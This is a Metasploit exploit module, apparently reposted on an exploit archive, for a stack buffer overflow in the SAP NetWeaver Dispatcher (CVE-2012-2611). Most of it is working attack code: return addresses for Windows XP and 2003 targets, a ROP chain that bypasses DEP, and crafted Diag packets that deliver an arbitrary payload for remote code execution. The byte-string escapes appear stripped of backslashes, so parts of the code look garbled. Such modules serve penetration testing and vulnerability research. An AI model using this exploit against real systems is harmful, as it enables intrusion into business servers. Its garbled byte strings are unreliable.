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SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow

Posted on 04 September 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow',
 'Description' => %q{
 This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher
 service. The overflow occurs in the DiagTraceR3Info() function and allows a remote
 attacker to execute arbitrary code by supplying a special crafted Diag packet. The
 Dispatcher service is only vulnerable if the Developer Traces have been configured
 at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2
 SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
 },
 'Author' => [
 'Martin Gallo', # Vulnerability discovery and PoC
 'juan vazquez' # Metasploit module
 ],
 'References' =>
 [
 [ 'OSVDB', '81759' ],
 [ 'CVE', '2012-2611' ],
 [ 'BID', '53424' ],
 [ 'EDB', '20705' ],
 [ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'],
 [ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol']
 ],
 'DefaultOptions' =>
 {
 'InitialAutoRunScript' => 'migrate -f',
 'EXITFUNC' => 'process'
 },
 'Payload' =>
 {
 'Space' => 4000,
 'BadChars' => "x00",
 'DisableNops' => true,
 'PrependEncoder' => "x81xc4x54xf2xffxff" # Stack adjustment # add esp, -3500
 },
 'Platform' => 'win',
 'Targets' =>
 [
 # disp+work.exe version 7200.70.18.23869
 [
 'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3',
 {
 'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE
 }
 ],
 [
 'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2',
 {
 'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll
 }
 ]
 ],
 'Privileged' => false,
 'DefaultTarget' => 1,
 'DisclosureDate' => 'May 8 2012'))

 register_options([Opt::RPORT(3200)], self.class)

 end

 def create_rop_chain()
 # ROP chains provided by Corelan.be
 # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
 rop_gadgets =
 [
 0x77bb2563, # POP EAX # RETN
 0x77ba1114, # <- *&VirtualProtect()
 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
 0x41414141, #junk
 0x77bb0c86, # XCHG EAX,ESI # RETN
 0x77bc9801, # POP EBP # RETN
 0x77be2265, # ptr to 'push esp # ret'
 0x77bb2563, # POP EAX # RETN
 0x03C0A40F,
 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
 0x77bb48d3, # POP EBX, RET
 0x77bf21e0, # .data
 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
 0x77bbfc02, # POP ECX # RETN
 0x77bef001, # W pointer (lpOldProtect) (-> ecx)
 0x77bd8c04, # POP EDI # RETN
 0x77bd8c05, # ROP NOP (-> edi)
 0x77bb2563, # POP EAX # RETN
 0x03c0984f,
 0x77bdd441, # SUB EAX, 03c0940f
 0x77bb8285, # XCHG EAX,EDX # RETN
 0x77bb2563, # POP EAX # RETN
 0x90909090,#nop
 0x77be6591, # PUSHAD # ADD AL,0EF # RETN
 ].pack("V*")

 return rop_gadgets
 end

 def exploit

 peer = "#{rhost}:#{rport}"

 connect

 # initialize
 diagheader = "x00x10x00x00x00x00x00x00"
 user_connect = "x10x04x02x00x0cx00x00x00xc8x00x00x04x4cx00x00x0bxb8"
 support_data = "x10x04x0bx00x20"
 support_data << "xffx7fxfax0dx78xb7x37xdexf6x19x6ex93x25xbfx15x93"
 support_data << "xefx73xfexebxdbx51xedx01x00x00x00x00x00x00x00x00"
 dpheader = "xffxffxffxffx0ax00x00x00x00x00x00xffxffxffxffxff"
 dpheader << "xffxffxffxffxffxffxffxffxffxffxffxffxffxff"
 dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V")
 dpheader << "x00xffxffxffxffxffxffx20x20x20x20x20x20x20x20x20"
 dpheader << "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20"
 dpheader << "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20"
 dpheader << "terminalXXXXXXX"
 dpheader << "x00x00x00x00x00x00x00x00x00x00x20x20x20x20x20x20"
 dpheader << "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x00x00"
 dpheader << "x00x00x00x00x00x00xffxffxffxffx00x00x00x00x01x00"
 dpheader << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
 dpheader << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
 dpheader << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
 dpheader << "x00x00x00x00x00x00x00x00"
 pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N")
 pkt << dpheader
 pkt << diagheader
 pkt << user_connect
 pkt << support_data
 print_status("#{peer} - Sending initialize packet to the SAP Dispatcher")
 sock.put(pkt)
 res = sock.get_once(-1)

 if not res
 print_error("#{peer} - The connection with the Dispatcher has not been initialized")
 return
 end

 # send message
 if target.name =~ /Windows XP SP3/
 crash = make_nops(112)
 crash << "xebx02" # jmp over call pointer
 crash << [target.ret].pack("v")
 crash << make_nops(10) * 200
 crash << payload.encoded
 else # Windows 2003
 crash = "Cx00" # Avoid "UNICODE" conversion when copying data to stack
 crash << rand_text(2) # padding
 crash << [0x77bd7d82].pack("V") * 55 # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt
 crash << [0x77bdf0da].pack("V") # pop eax # ret from msvcrt
 crash << [target.ret].pack("V") # stackpivot
 crash << create_rop_chain
 crash << payload.encoded
 end

 print_status("#{peer} - Sending crafted message")
 message = "x10x06x20" + [crash.length].pack("n") + crash
 diagheader = "x00x00x00x00x00x00x00x00"
 step = "x10x04x26x00x04x00x00x00x01"
 eom = "x0c"
 pkt = [diagheader.length + step.length + message.length + eom.length].pack("N")
 pkt << diagheader
 pkt << step
 pkt << message
 pkt << eom
 sock.put(pkt)

 disconnect
 end

end

 

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